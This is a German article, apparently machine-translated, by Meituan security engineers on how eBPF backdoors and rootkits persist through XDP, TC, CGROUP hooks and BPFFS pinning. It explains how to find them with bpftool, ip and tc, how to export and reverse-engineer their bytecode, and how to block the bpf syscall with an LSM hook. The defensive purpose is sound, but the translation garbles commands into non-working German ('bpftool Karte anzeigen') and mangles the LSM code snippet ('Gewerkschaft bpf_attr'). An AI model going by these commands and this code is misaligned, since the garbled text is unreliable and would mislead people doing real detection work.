Anwenderprogramme greifen auf BPF-Objekte (Progs, Maps, Debugging-Informationen) über Dateideskriptor-FDs zu, von denen jeder einen Referenzzähler hat. Wenn der Benutzerzustand den entsprechenden FD öffnet und liest, wird der entsprechende Zähler erhöht. Wenn der FD geschlossen wird, sinkt der Referenzzähler, und wenn refcnt 0 ist, gibt der Kernel das BPF-Objekt frei, das dann nicht mehr funktioniert.

Wenn in einem Sicherheitsszenario ein Backdoor-Prozess im Benutzerzustand beendet wird, beendet sich das Backdoor-EBPF-Programm mit ihm. Dies kann bei Sicherheitsüberprüfungen von Vorteil sein, um festzustellen, ob die Prozessliste verdächtige Prozesse enthält.

Allerdings werden nicht alle BPF-Objekte mit dem Beenden des Userland-Prozesses beendet. Nach dem Kernel-Prinzip muss nur sichergestellt werden, dass refcnt größer als 0 ist, um das BPF-Objekt am Leben und den Backdoor-Prozess am Laufen zu halten. Unter den BPF-Programmtypen sind Hooks wie XDP, TC und CGROUP-basierte Hooks global und werden nicht mit dem Beenden des User-State-Prozesses beendet. Der entsprechende FD wird vom Kernel beibehalten, um sicherzustellen, dass der refcnt-Zähler nicht Null ist und somit weiter funktioniert.

den Ursprung von etw. erforschen

Sicherheitsingenieure müssen oft verschiedene Rückverfolgbarkeitsstrategien für unterschiedliche Szenarien entwickeln. Die in diesem Papier vorgestellten Rückverfolgbarkeitsmethoden verwenden alle die relevanten Schnittstellen von eBPF, was bedeutet:Wenn das bösartige Programm vor dem Prüfprogramm ausgeführt wurde, besteht die Möglichkeit, dass die Ergebnisse verfälscht werden..

kurzer Lebenszyklus

Darstellung der BPF-Programmart

• k[ret]probe
• u[ret]probe
• tracepoint
• raw_tracepoint
• Perf_Ereignis
• Steckdosenfilter
• so_reuseport

Die Merkmale beruhen auf der FD-Verwaltung und der automatischen Kernelbereinigung, was der Systemstabilität zugute kommt. Die Hintertür dieses Programmtyps ist bei der Fehlerbehebung eindeutig als Prozess im Benutzerzustand gekennzeichnet. Sie kann aus der Liste der auf dem System laufenden BPF-Programme entnommen werden.

bpftool-Werkzeuge

Liste der eBPF-Programme

Befehlbpftool prog anzeigenwie auchbpftool prog HilfeSiehe weitere Parameter.

Im Ergebnis sehen Sie das derzeit auf dem System laufende BPF-Programm, die zugehörige BPF-Map-ID und die entsprechenden Prozessinformationen. Aufmerksame Leser werden feststellen, dass im Ergebnis keine Prozess-ID-Informationen in den XDP-Daten enthalten sind, worauf später eingegangen wird.

eBPF-Kartenliste

Befehlbpftool Karte anzeigenwie auchbpftool KartenhilfeWeitere Parameter können angezeigt werden.

Durch die Anzeige der Karteninformationen können diese mit den Prozessinformationen korrigiert werden. Außerdem können die Daten in der Karte exportiert werden, um bösartiges Prozessverhalten zu identifizieren. Dies wird im Abschnitt "Forensik" behandelt.

bpflist-bpfcc

bpflist-bpfcc -vvkönnen Sie eine Liste von "einigen" BPF-Programmen sehen, die derzeit auf dem Server laufen. Nehmen wir eine Testumgebung als Beispiel:

root@vmubuntu:/home/cfc4n/project/xdp## bpflist-bpfcc -vv
kprobes öffnen.

uprobes öffnen.

PID COMM TYPE COUNT
1 systemd prog 8
10444 ehids map 4
10444 ehids prog 5

Sie können sehen, dass der Systemprozess systemd 8 Prog-Programme startet. Der Prozess ehids erstellt 4 eBPF-Maps mit 5 Progs, aber in Wirklichkeit führt der vorangehende Prozess auch dieip link set dev ens33 xdp obj xdp-example_pass.oBefehl, der hier nicht gezeigt wird. Das bedeutet, dass die Ausgabe dieses Befehls nicht für alle bpf-Programme, Karten, der Fall ist.

langer Lebenszyklus

Darstellung der BPF-Programmart

• XDP
• TC
• LWT
• CGROUP

In den oben erwähnten Szenarien des Ladens von BPF-Bytecode mit dem ip-Befehl kann das BPF-Tool diesen häufig nicht abfragen oder die Informationen fehlen. Der Grund dafür ist in der Arbeitsweise des Tools zu suchen.

Der Befehl ip lädt das BPF-Prinzip

Der Lebenszyklus von BPF-Objekten wird mithilfe eines Referenzzeitgebers verwaltet, ein allgemeines Prinzip, dem alle BPF-Objekte folgen müssen. Im Gegensatz dazu startet der Programmtyp mit langem Lebenszyklus FD als Benutzerkontrollprogramm, das Parameter an den Kernelspace übergibt, der dann vom Kernelspace verwaltet wird.

Mit dem bereits erwähnten IP-Befehlip link set dev ens33 xdp obj xdp-example_pass.oZum Beispiel enthält der Parameter des ip-Befehls den Namen der bpf-Bytecode-Datei, der ip-Prozess öffnet den FD des .o-Bytecodes, sendet eine Nachricht vom Typ IFLA_XDP (Subtyp IFLA_XDP_FD) über NETLINK an den Kernel, der Kernel ruft die Funktion dev_change_xdp_fd auf, und der FD wird von der Netzwerkkarte übernommen, der Referenzzähler wird erhöht, und der ip-Prozess im Benutzerbereich wird beendet und das BPF-Programm funktioniert weiter. Für den Kernel-Quellcode siehe:elixir.bootlin.com/linux.

In diesem Artikel haben wir das Packet Grabbing durchgeführt, um zu überprüfen, ob das ip-Programm mit dem XDP-Programmtyp verbunden ist:

17:53:22.553708 sendmsg(3, {
{
msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000},
msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12,
msg_iov=[
{
iov_base={
{nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, { nlmsg_family=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}
{ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0},
{
{ nla_len=20, nla_type=IFLA_XDP}, {
[
{{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, {{nla_len=8, nla_type=IFLA_XDP_FD}, [
{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
]
}
},
iov_len=52
}
],
msg_iovlen=1,
msg_controllen=0,
msg_flags=0
}, 0) = 52

Wie Sie sehen, ist der FD-Parameter nach IFLA_XDP_FD gleich 6. Um das XDP-Programm zu löschen, muss FD wie folgt auf -1 gesetzt werden, was der Zusammensetzung des NETLINK-Pakets entspricht:

17:55:16.306843 sendmsg(3, {
{
...
{nla_len=20, nla_type=IFLA_XDP}, { ...
[
{{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, {{nla_len=8, nla_type=IFLA_XDP_FD}, {}
{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
] }
...
}, 0) = 52

Mehr als nur der Befehl ip.TC Command Classifier Unterstützt auch BPF-Programme, lädt BPF-Programme als Klassifizierer und agiert an Ingress/Egress-Hookpoints. Das Prinzip dahinter ist ähnlich wie bei IP, auch hier kommuniziert das NetLink-Protokoll mit dem Kernel und die Netzwerkkarte verwaltet die BPF-Objektzähler.

Erkennungsmechanismus

Verwenden Sie native ip-, tc- und andere Befehle, um die von den NICs geladenen BPF-Objekte anzuzeigen

1. ip link show
2. tc filter show dev [Kartenname] [ingress|egress]

Verwenden Sie den Befehl bpftool, um die

bpftool net show dev ens33 -pkann verwendet werden, um netzwerkbezogene eBPF-Hookpoints anzuzeigen.

Das Laden von Programmen vom Typ BPF_PROG_TYPE_CGROUP_SKB und BPF_PROG_TYPE_CGROUP_SOCK für CGROUP kann mit dem bpftool prog show angezeigt werden. Der Unterschied zwischen BPF-Programmen mit langem und kurzem Lebenszyklus ist das Fehlen von PID-Informationen im Userspace. Dies ist in der folgenden Abbildung dargestellt:

BPFFS

Zusätzlich zu den bereits erwähnten MethodenBPF-DateisystemBPFFS ist auch eine Möglichkeit, BPF-Programme im Hintergrund laufen zu lassen. Ein User-Space-Prozess kann ein BPF-Programm unter einem beliebigen Namen an BPFFS übergeben und es im Hintergrund aktiv halten, indem BPFFS automatisch den Referenzzähler refcnt des BPF-Objekts erhöht. Bei der Verwendung verwenden Sie einfach bpf_obj_get("BPFFS path"), um den FD des BPF-Objekts zu erhalten.

Der BPFFS-Typ in Linux ist BPF_FS_MAGIC, das Standardverzeichnis /sys/fs/bpf/ kann angepasst werden, aber stellen Sie sicher, dass der Dateisystemtyp unix.BPF_FS_MAGIC ist.

Was die Erkennung angeht, so müssen wir uns darauf konzentrieren, ob das virtuelle Dateisystem vom Typ unix.BPF_FS_MAGIC ist.

Auf Linux-Systemen wird diemount -t bpfum alle auf dem System vorhandenen Dateitypen zu sehen und ob sie den Typ BPFFS enthalten.

Nachdem wir das Verzeichnis für BPFFS bestimmt haben, überprüfen wir die Einhängepunkte in diesem Verzeichnis auf Anomalien.

Forensik

Vom Kernel geladene BPF-Objektexporte

Das bpftool-Tool kann prog, map mit FD id exportieren.

Programm BPF prog

Sie können opcodevisuallinum und andere Formate exportieren und das Aufrufbeziehungsdiagramm erstellen. Insbesondere können Sie die Hilfedatei von bpftool sehen.

root@vmubuntu:/home/cfc4n# bpftool prog help
bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }]
bpftool prog dump jited PROG [{ file FILE | opcodes | visual | linum }]

BPF-Karte

Ähnlich wie bei prog kann der Inhalt über bpftool exportiert werden, und es werden JSON-formatierte Inhalte unterstützt.

root@vmubuntu:/home/cfc4n# bpftool map dump id 20
[{
        "value": {
            ".rodata": [{
                    "target_ppid": 0
                },{
                    "uid": 0
                },{
                    "nutzlast_len": 38
    ...

BPFFS

BPFFS Typ BPF-Objekt, obwohl es bequemer sein kann, um in den Hintergrund Ausführung setzen, kann der User-Space-Programm beendet werden, sondern auch wieder gelesen werden kann, aber dies bringt auch eine große Bequemlichkeit für die Forensik. bpftool Befehl unterstützt auch aus dem BPFFS-Dateisystem in den Pfad zu exportieren prog, Karte. Parameter sind etwas anders, siehe bpftool Hilfe für Details.

Vom Kernel nicht geladene BPF-Objekte

Wenn das Userspace-Programm des Backdoor-Rootkits gefunden wird, wird der BPF-Bytecode mit Sicherheit von diesem aufgerufen. Der Bytecode-Inhalt wird normalerweise in einer separaten Datei abgelegt oder als Bytecode in das aktuelle Programm kompiliert. Dazu muss lediglich ein Decompiler-Tool wie IDA verwendet werden, um den entsprechenden Bytestrom zu finden und zu exportieren.

Nehmen Sie den ehids-Prozess im Demo-Video in diesem Artikel als Beispiel und verwenden Sie dieGitHub/ehids/ebpfmanager Pure Go eBPF Modul-Manager-Paket, für eBPF Bytecode wird github.com/shuLhan/go-bindata/cmd/go-bindata Paket für BPF Bytecode zu laden, Gzip-Kompression, als eine Variable des Go-Code, in der Bereitstellung der mehr Grenze.

Wenn IDA Pro geladen ist, können wir dieses Stück Code im .noptrdata-Segmentteil sehen, die Startadresse ist 0000000000827AE0, nach dem Exportieren und Dekomprimieren können Sie den ursprünglichen Inhalt der BPF ELF-Datei wiederherstellen.

Da jede BPF-Userland-Implementierung anders ist, ist auch die Klassenbibliothek unterschiedlich, und eine statische Analyse ist schwer durchzuführen. Dann können Sie die gleiche Umgebung simulieren, dynamisch laufen, BPF syscall im Voraus Haken, finden Sie den Ort, wo FD eingerichtet ist, und auch Sie können die ELF-Datei von BPF exportieren.

Bytecode-Analyse

BPF Byte-Code selbst ist auch ELF-Format, nur Format Anweisungen haben einige Unterschiede. Decompiler-Tool IDA pro kann auch unterstützen, ausländische Sicherheitsingenieure Open Source ein Python-Plug-in:eBPF IDA Proc und erstellte einen Artikel, in dem er analysiert wurde:Reverse Engineering des Ebpfkit-Rootkits mit dem verbesserten IDA-Prozessor-Tool von BlackBerry können interessierte Schüler es lesen.

Wie man sich verteidigt

Die Verwendung von eBPF in Netzwerksicherheitsszenarien kann neben der Erkennung von Eindringlingen auch zur Verteidigung verwendet werden. Der LSM PROBE-Haken bietet verwandte Funktionen. Container-Escape-Szenarien, zum Beispiel, das offensichtlichste Merkmal des Verhaltens ist die "Eltern-Kind-Prozess" Namespace Inkonsistenz, die Kind-Prozess-Erstellung abgeschlossen ist, festzustellen, ob diese Funktion entspricht, zurück EPERM, um den Rückgabewert der Prozess-Erstellung Funktion zu decken, um so den Zweck der Verteidigung zu spielen. Verglichen mit dem Kernel-Modul und anderen defensiven Implementierungen ist die eBPF-Implementierung sicherer, stabiler und zuverlässiger, um das Problem des Container-Ausbruchs an der Quelle zu lösen.

In ähnlicher Weise wird in diesem Papier argumentiert, dass eBPF die beste virtuelle Patching- und Hot-Update-Lösung für die Binärschicht ist.

LSM_PROBE(bpf. int cmd. Gewerkschaft bpf_attr *attr, ohne Vorzeichen int Größe)
{
    return -EPERM.
}

Es gibt bestimmte Anforderungen an die Konfiguration des Systems, CONFIG_BPF_LSM=y, CONFIG_LSM und andere Konfigurationsinhalte, müssen bpf, etc. enthalten.BCC-Klassenbibliothek Demo lsm probe .

Technische Realisierung

Praxis

Als Einstieg können Sie die Klassenbibliotheken von BCC verwenden:GitHub/BCC und verschiedene Demo-Beispiele von Benutzerraumprogrammen in C.Demo BPF-Anwendungen .

Auswahl der Klassenbibliothek

Engineering, die Qualität des Projekts, Stabilität, F & E-Effizienz-Anforderungen, empfehlen wir Cilium's reine Go eBPF-Bibliothek, die offizielle Bestätigung durch die Cilium kann sichergestellt werden, dass die Verwendung von Datadog's Agent Produkte sind auch mit dieser Bibliothek.

Das Produkt in diesem Papier bezieht sich auch auf Datadog, das die eBPF-Bibliothek von Cilium abstrakt verpackt, um eine konfigurierbare und bequeme Verwaltung von eBPF-Programmen zu erreichen. GitHub-Repository:ehids/ebpfmanager die Sie gerne verwenden können.

Natürlich kann es auch mit libbpf-gepackten Go-Bibliotheken implementiert werden, z. B. mit Produkten wie Tracee.

Systemkompatibilität CO-RE

Das Aufkommen von eBPF hat die Schwelle zum Schreiben von Kernel-Code stark vereinfacht, und eBPF ist wegen seiner hohen Sicherheit, seiner benutzerfreundlichen Lademethode und seiner effizienten Dateninteraktion sehr gefragt. Wie das Schreiben traditioneller Kernel-Module ist jedoch auch die Entwicklung von Kernel-State-Funktionen mit langwierigen Anpassungstests verbunden, und die vielen Kernel-Versionen von Linux machen die Anpassung noch schwieriger, weshalb bcc + clang + llvm lange Zeit kritisiert wurde, bevor BTF erschien. Programme werden kompiliert, wenn sie laufen, und die Zielmaschine muss clang llvm kernel-header und andere Kompilierungsumgebungen installieren, und die Kompilierung verbraucht auch eine Menge CPU-Ressourcen, was auf einigen hochbelasteten Maschinen inakzeptabel ist.

Daher BTF & CO-RE erschien aus dem Nichts, BTF kann als eine Art von Debug-Symbole, um die Art und Weise zu beschreiben, bevor die traditionelle Art und Weise Debug-Informationen werden sehr groß sein, wird der Linux-Kernel in der Regel deaktivieren Sie die Debug-Symbole, die Entstehung der BTF, um dieses Problem zu lösen, eine deutliche Verringerung der Größe der Debug-Informationen, so dass die Produktion Szenario Kernel mit Debug-Informationen möglich.

Erfreulicherweise kann diese Technologie durch den Einsatz von BTF&CO-RE den Entwicklern helfen, eine Menge Anpassungsaufwand zu sparen, aber diese Technologie befindet sich noch in der Entwicklung, es gibt noch viele Szenarien, die nicht behandelt werden können, wie z.B. die Strukturelemente in die Unterstruktur verschoben werden, die noch manuell das Problem lösen müssen, haben die Entwickler des BTF auch einen Artikel geschrieben, der verschiedene Szenarien der Handhabung des Programms erklärtbpf-core-reference-guide.

Groß angelegte Projekte

Im Ausland entwickelt sich der Bereich der Cloud-nativen Produkte schneller, und es sind eine Reihe von eBPF-basierten Produkten entstanden, darunter Cilium,Datadog Falco, Katran usw., die in verschiedenen Bereichen wie Netzwerkorchestrierung, Netzwerk-Firewall, Verfolgung und Ortung, Laufzeitsicherheit usw. eingesetzt werden. Sie können von den F&E-Erfahrungen dieser Großprojekte lernen, um den Aufbau des Produkts zu beschleunigen, einschließlich der Kompatibilität mehrerer Systeme, des Framework-Designs, der Projektqualität und des Aufbaus des Überwachungssystems. Dieser Artikel konzentriert sich auf die Erkennung und Abwehr von Bedrohungen, und wir werden in künftigen Artikeln über die Erfahrungen mit der Entwicklung und Konstruktion berichten.

Zusammenfassungen

Mit der rasanten Entwicklung der nativen Cloud werden die eBPF-Implementierungssoftware und die Betriebsumgebung immer beliebter. Und die böswillige Ausnutzung von eBPF wird immer häufiger vorkommen. Nach der Situation im In- und Ausland zu urteilen, ist die ausländische Forschung in dieser Richtung der inländischen weit voraus.Wir weisen noch einmal eindringlich darauf hin, dass Netzwerksicherheitsprodukte so bald wie möglich mit Funktionen zur Erkennung von eBPF-Bedrohungen ausgestattet werden sollten..

In diesem Artikel haben wir mit Ihnen die böswillige Ausbeutung und Erkennung Mechanismus auf eBPF-Technologie, die eBPF in der Verteidigung und Erkennung von Produktentwicklung, Maschinenbau und andere Inhalte erwähnt diskutiert, werden wir mit Ihnen in den nächsten Artikel zu teilen, bitte freuen Sie sich auf.

Profil des Autors

Chen Chi, Yang Yi, und Xin Bo, alle von Meituan Information Security.

bibliographie

• Erstellen und Abwehren der nächsten Generation von Linux-Rootkits
• DEFCON 29 - eBPF, ich dachte, wir wären Freunde
• Die verschiedenen technischen Anwendungen der eBPF PDF-Sammlung
• Offensive BPF: Bösartiges bpftrace
• Bad BPF - Verformung der Realität mit eBPF
• Lebensdauer der BPF-Objekte
• BPF-Programmtyp (BPF Prog) erklärt: Verwendungsszenarien, Funktionssignaturen, Ausführungsorte und Programmbeispiele
• Eigenschaften von bpftool: der Thread mit Tipps und Beispielen zur Arbeit mit eBPF-Objekten
• Reverse Engineering des Ebpfkit-Rootkits mit dem verbesserten IDA-Prozessor-Tool von BlackBerry
• Erstellung und Bekämpfung der nächsten Generation von Linux-Rootkits mit eBPF
• eBPF Syscall
• Quellcode-Analyse des eBPF-Implementierungsmechanismus von Cilium
• ebpfkit ist ein Rootkit auf Basis von eBPF.